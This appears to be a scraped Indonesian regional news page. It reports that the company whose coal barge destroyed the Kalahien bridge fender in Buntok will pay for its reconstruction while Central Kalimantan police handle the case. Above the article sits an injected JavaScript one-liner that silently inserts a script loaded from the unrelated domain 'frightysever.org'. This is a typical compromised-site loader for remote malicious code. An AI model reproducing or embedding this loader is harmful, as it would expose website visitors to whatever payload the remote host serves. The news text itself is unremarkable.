(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tongkang Penabrak Fender Jembatan Kalahien Siap Tanggung Jawab, Kasus Diambil Alih Polda Kalteng


BUNTOK, Kasus penabrakan fender pengaman jembatan Kalahien oleh tongkang batu bara beberapa waktu lalu, membuat fender hancur hingga ambruk sudah memiliki titik terang siapa pihak yang bertanggung jawab.

Kepala Dinas Perhubungan (Dishub) Barsel, Ir Daud Danda mengatakan, pihaknya bersama unsur terkait dan pihak perusahaan yang menabrak fender jembatan Kalahien telah mengadakan rapat dengan Sekda Provinsi Kalteng pasca kejadian.

“Jadi kita bersama dengan Sekda Barsel dan pihak perusahan bersama dengan pihak terkait lainnya melaksanakan rapat pembahasan. Yang mana dipimpin langsung Sekda Provinsi terkait penanggungjawaban pihak perusahaan akan rusaknya fender jembatan tersebut,” kata Daud kepada Kanalkalimantan.com, Selasa (11/6).

Ia juga mengatakan, dalam rapat tersebut akhirnya pihak perusahaan selaku penabrak fender pengaman tersebut bertanggung jawab penuh untuk pembuatan kembali seperti semula.

“Mereka mau bertanggung jawab penuh terkait rusaknya fender pengaman tersebut,” ucap Daud.

Lebih lanjut olehnya bahwa sejauh mana penanganan kasus untuk tongkang penabrak fender pengaman tersebut, serta keberadaan kapal tongkang yang tidak ada di Buntok. Dirinya sudah tidak mengetahui lagi, berhubung untuk kasus penabrakan fender pengaman tersebut sudah ditangani oleh Polda Kalteng langsung.

“Jadi untuk perkembangan terkait kapal tongkang, kita tidak mengikutinya lagi. Karena untuk terkait kasus tersebut sudah langsung diambil alih oleh pihak Polda Kalteng,” beber Daud.

Ditambahkan olehnya bahwa pihaknya yang jelas untuk penanggung jawab rusaknya fender pengaman tersebut pihak perusahaan sudah siap bertanggung jawab. Sekarang tinggal menunggu hitungan dari Balai PU terkait berapa kisaran untuk pembuatan fender pengaman tersebut.

“Semoga dalam waktu dekat pengkajian untuk hitungan fender pengaman tersebut bisa selesai, sehingga bisa segera dilaksanakan pembuatannya,” tandas Daud sekaligus mengakhiri. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.